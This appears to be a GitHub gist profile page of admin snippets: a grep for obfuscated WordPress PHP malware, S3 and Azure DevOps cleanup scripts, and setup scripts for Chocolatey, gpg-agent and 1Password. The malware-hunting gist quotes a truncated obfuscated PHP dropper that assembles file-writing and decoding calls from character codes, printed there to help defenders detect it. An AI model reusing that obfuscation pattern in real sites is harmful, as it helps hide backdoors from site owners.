Skip to content

Instantly share code, notes, and snippets.

View kiwimato's full-sized avatar

Mihai kiwimato

View GitHub Profile
@kiwimato
kiwimato / wordpress_malware_check.sh
Created June 18, 2023 16:42
Grep wordpress to search for obsfucate PHP malware
grep "\$[a-zA-Z0-9]*(" ./ -ir
# should find some funky stuff like:
# ./wp-content/plugins/classic-editor/js/hoxozkwa.php:<?php $LRhdThLn = "\104"."\117".chr(67)."\x55".chr(77).'E'."\x4e"."\x54".chr(95)."\x52".chr(79).chr(79).'T';$qEJGBsQZ = "\x48"."\x54".'T'.chr(331-251).chr(95).'H'."\117"."\x53"."\x54";$FocpVmGikU = chr(104)."\x74".chr(116).chr(875-763)."\72"."\57".chr(370-323);$InqeP = chr(591-545).chr(463-351)."\150".chr(112);$OmaOCPiem = "\160".chr(104)."\160";$aALnXcWKii = 'f'."\151"."\154".chr(101)."\137".chr(889-777)."\x75".chr(727-611).chr(95).chr(99)."\157".chr(110).'t'.chr(576-475)."\x6e"."\x74".'s';$eleTmtrO = chr(552-438)."\x61".chr(119).'u'."\162".chr(732-624).'d'."\145".chr(950-851)."\x6f".'d'."\x65";$YGdQfPUtlO = chr(117)."\156"."\x73"."\145".chr(114).'i'.'a'."\154".'i'.chr(585-463).chr(799-698);$wuLUaDUX = chr(112)."\150".chr(112)."\166"."\145"."\x72"."\163"."\151".chr(111).'n';$VaXDosXIU = 's'.'t'."\x72"."\x5f".chr(114).chr(227-116)."\164".chr(49).chr(108-57);$BVrBroINfP = "\163".chr(101).
@kiwimato
kiwimato / gist:aaac8ebdd42848df327dd610caa303a6
Created May 21, 2023 22:21
influxdb create bucket grafana
docker exec -it Influxdb influx bucket create --name telegraf2023 -r 1095d
@kiwimato
kiwimato / delete_old_object_versions.sh
Created December 13, 2022 22:46
Delete old versions in a Digital Ocean spaces bucket
#!/bin/bash
# Always run this command to first show the commands it will run(a dry run)
# Of course, modify the key and bucket name with your needs
aws s3api list-object-versions --endpoint=https://fra1.digitaloceanspaces.com --bucket dacia-public-bucket --key tmstories | jq -c '.Versions[] | select(.IsLatest == false) | " aws s3api delete-object --endpoint=https://fra1.digitaloceanspaces.com --bucket dacia-public-bucket --key \(.Key) --version-id \(.VersionId)"' -r
# and only then uncomment this line which actually deletes them:
#eval "$(aws s3api list-object-versions --endpoint=https://fra1.digitaloceanspaces.com --bucket dacia-public-bucket --key tmstories | jq -c '.Versions[] | select(.IsLatest == false) | " aws s3api delete-object --endpoint=https://fra1.digitaloceanspaces.com --bucket dacia-public-bucket --key \(.Key) --version-id \(.VersionId)"' -r)"
function Get-NetworkStatistics
{
$properties = 'Protocol','LocalAddress','LocalPort'
$properties += 'RemoteAddress','RemotePort','State','ProcessName','PID'
netstat -ano | Select-String -Pattern '\s+(TCP|UDP)' | ForEach-Object {
$item = $_.line.split(" ",[System.StringSplitOptions]::RemoveEmptyEntries)
if($item[1] -notmatch '^\[::')
@kiwimato
kiwimato / batch_azure_devops_update_repositories.ps1
Created August 4, 2022 12:10
This script will help with updating multiple Azure DevOps repositories at once, useful when there are too many repos to point and click
# This script will help with updating multiple Azure DevOps repositories at once, useful when there are too many repos to point and click
# For example on line 23, the command updates all repos that match PATTERN to only allow squash merge types.
$org="organization"
$project="Project"
$PAT="XXPATXX"
# First login:
az devops configure --defaults organization=https://dev.azure.com/$org project=$project
@kiwimato
kiwimato / stop_azure_devops_jobs.ps1
Created February 22, 2022 16:23
Stops all Azure DevOps jobs for a specific repository. Useful in case where a lot of builds were started which deplets the pools
$targetRepository = "some_repository_name"
$AzureDevOpsPAT = "XX"
$OrganizationName = "projectName/organizationName"
$AzureDevOpsAuthenicationHeader = @{Authorization = 'Basic ' + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(":$($AzureDevOpsPAT)")) }
$builds = Invoke-RestMethod -Uri "https://dev.azure.com/$OrganizationName/_apis/build/builds?api-version=6.0&repositoryId=" -Method get -Headers $AzureDevOpsAuthenicationHeader
$runningBuilds = $builds.value | Where-Object { $_.repository.name -like $targetRepository } | Where-Object { $_.status -eq 'inProgress' }
foreach($build in $runningBuilds){
@kiwimato
kiwimato / win_fresh_install.ps1
Created December 22, 2021 09:47
My basic chocolatey powershell script for windowsy stuff
ECHO Installing apps
ECHO Configure chocolatey
choco feature enable -n allowGlobalConfirmation
# Browsers
cinst google-chrome-x64
cinst vivaldi
@kiwimato
kiwimato / .xsession
Created November 27, 2021 15:25
.xsession gpg-agent SSH_AGENT SSH_AUTH_SOCK Yubikey Jetbrains Pycharm IntelliJ IDEA
AGENT_SOCK=$(gpgconf --list-dirs | grep agent-socket | cut -d : -f 2)
if [[ ! -S $AGENT_SOCK ]]; then
gpg-agent --daemon --use-standard-socket &>/dev/null
fi
export GPG_TTY=$TTY
# Set SSH to use gpg-agent if it's enabled
GNUPGCONFIG="${GNUPGHOME:-"$HOME/.gnupg"}/gpg-agent.conf"
if [[ -r $GNUPGCONFIG ]] && command grep -q enable-ssh-support "$GNUPGCONFIG"; then
@kiwimato
kiwimato / shutdown-agent-if-idle.sh
Created November 17, 2021 18:11
Azure DevOps: stop the agent by issuing a shutdown if the agent is idle and it ran at least one job. If a job is running, it waits for it to finish. Useful with EC2 spot based instances as agents.
# Create a service:
cat > /lib/systemd/system/azure-devops-shutdown-when-idle.service<<'EOF'
[Unit]
Description=Issues as shutdown in case the agent is idle, to avoid long running ec2 spot instances
[Service]
Type=simple
ExecStart=/bin/bash /root/shutdown_when_idle.sh
[Install]
@kiwimato
kiwimato / vivaldi-1pass.sh
Created November 16, 2021 23:29
Adds Vivaldi as allowed browsers for 1Password linux app
sudo mkdir /etc/1password
echo vivaldi-bin | sudo tee /etc/1password/custom_allowed_browsers
sudo chown root:root /etc/1password/custom_allowed_browsers
sudo chmod 755 /etc/1password/custom_allowed_browsers